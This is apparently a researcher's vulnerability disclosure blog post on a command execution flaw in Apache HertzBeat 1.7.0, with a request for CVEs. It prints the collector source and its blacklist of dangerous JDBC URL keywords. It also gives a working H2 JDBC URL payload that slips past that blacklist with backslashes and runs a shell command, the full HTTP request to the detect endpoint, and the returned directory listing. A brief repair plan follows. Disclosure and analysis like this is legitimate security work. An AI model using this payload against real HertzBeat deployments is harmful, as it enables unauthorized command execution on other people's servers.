apache hertzbeat 1.7.0 命令执行漏洞

found by:unam4 and SpringKill

Could you please assign three CVEs to these three vulnerabilities? This is very important to our security research team. Thank you.

0x01 h2jdbc Remote Command Execution Vulnerability

analyze

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#collect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
long startTime = System.currentTimeMillis();
JdbcProtocol jdbcProtocol = metrics.getJdbc();
SshTunnel sshTunnel = jdbcProtocol.getSshTunnel();

int timeout = CollectUtil.getTimeout(jdbcProtocol.getTimeout());
boolean reuseConnection = Boolean.parseBoolean(jdbcProtocol.getReuseConnection());
Statement statement = null;
String databaseUrl;
try {
if (sshTunnel != null && Boolean.parseBoolean(sshTunnel.getEnable())) {
int localPort = SshTunnelHelper.localPortForward(sshTunnel, jdbcProtocol.getHost(), jdbcProtocol.getPort());
databaseUrl = constructDatabaseUrl(jdbcProtocol, "localhost", String.valueOf(localPort));
} else {
databaseUrl = constructDatabaseUrl(jdbcProtocol, jdbcProtocol.getHost(), jdbcProtocol.getPort());
}
...

First, get the JdbcProtocol object from metrics.getJdbc(), then call constructDatabaseUrl for processing, and finally call getConnection to connect.

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#constructDatabaseUrl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  private String constructDatabaseUrl(JdbcProtocol jdbcProtocol, String host, String port) {
if (Objects.nonNull(jdbcProtocol.getUrl())
&& !Objects.equals("", jdbcProtocol.getUrl())
&& jdbcProtocol.getUrl().startsWith("jdbc")) {
// convert the URL to lowercase for case-insensitive checking
String url = jdbcProtocol.getUrl().toLowerCase();
// check whether the parameter is valid
if (url.contains("create trigger") || url.contains("create alias") || url.contains("runscript from")
|| url.contains("allowloadlocalinfile") || url.contains("allowloadlocalinfileinpath")
|| url.contains("uselocalinfile") || url.contains("autodeserialize") || url.contains("detectcustomcollations")
|| url.contains("serverstatusdiffinterceptor")) {
throw new IllegalArgumentException("Invalid JDBC URL: contains malicious characters.");
}
// when has config jdbc url, use it
return jdbcProtocol.getUrl();
}
......

The constructDatabaseUrl function checks whether JdbcProtocol is empty, then checks whether it contains blacklist characters, and finally returns jdbcurl。 Due to the characteristics of the h2 database, we can insert “\\“ between blacklisted characters to bypass detection.

Here I insert “\\" in the middle of CREATE to bypass the detection

1
{"paramValue":"jdbc:h2:mem:test;init=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"ls \").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;"}

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#getConnection

1
2
3
4
5
6
7
8
9
10
11
12
private Statement getConnection(String username, String password, String url, Integer timeout) throws Exception {
CacheIdentifier identifier = CacheIdentifier.builder()
.ip(url)
.username(username).password(password).build();
Optional<JdbcConnect> cacheOption = connectionCommonCache.getCache(identifier, true);
Statement statement = null;
......
// renew connection when failed
Connection connection = DriverManager.getConnection(url, username, password);
connection.setReadOnly(true);
statement = connection.createStatement();
....

There is no verification of jdbc characters in the getConnection function. We use the h2 database to construct malicious jdbc characters for attack.

Reproduction

Select a database monitor at random, fill in the information, and click Test

/monitors/new?app=mysql

1
2
3
4
5
6
7
8
9
10
POST /api/monitor/detect HTTP/1.1
Host: ip:1157
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Authorization: yourjwt
Accept: application/json, text/plain, */*
Content-Type: application/json
command: ls
Content-Length: 1307

{"monitor":{"intervals":60,"app":"mysql","host":"127.0.0.1","name":"Eager_Whale_46RC"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"127.0.0.1"},{"display":true,"field":"port","type":0,"paramValue":3306},{"display":true,"field":"database","type":1},{"display":true,"field":"username","type":1},{"display":true,"field":"password","type":1},{"display":true,"field":"timeout","type":0,"paramValue":6000},{"display":true,"field":"enableSshTunnel","type":1,"paramValue":false},{"display":true,"field":"sshHost","type":1},{"display":true,"field":"sshPort","type":0,"paramValue":22},{"display":true,"field":"sshTimeout","type":0,"paramValue":6000},{"display":true,"field":"sshUsername","type":1},{"display":true,"field":"sshPassword","type":1},{"display":true,"field":"sshShareConnection","type":1,"paramValue":true},{"display":true,"field":"sshPrivateKey","type":1},{"display":true,"field":"sshPrivateKeyPassphrase","type":1},{"display":true,"field":"url","type":1,"paramValue":"jdbc:h2:mem:test;init=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"ls \").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;"}]}

Then intercept the data packet and replace the paramValue field with the malicious JDBC connection. After sending, the return packet will show the current directory file。

Return Package Contents:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 400 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Date: Thu, 10 Apr 2025 15:18:43 GMT
Connection: close
Content-Length: 244

{"data":null,"msg":"Query Error: Exception calling user-defined function: \"exec(): apache-hertzbeat-1.7.0.jar\\000abin\\000aconfig\\000adata\\000adefine\\000aDISCL\"; SQL statement:\nDROP ALIAS IF EXISTS EXEC [90105-224] Code: 90105","code":2}

Repair plan

Limit the length of jdbc, remove special characters in jdbc characters, and then perform blacklist judgment.


apache hertzbeat 1.7.0 命令执行漏洞
https://unam4.github.io/2025/12/01/apache-hertzbeat-1-7-0-命令执行漏洞/
作者
unam4
发布于
2025年12月1日
许可协议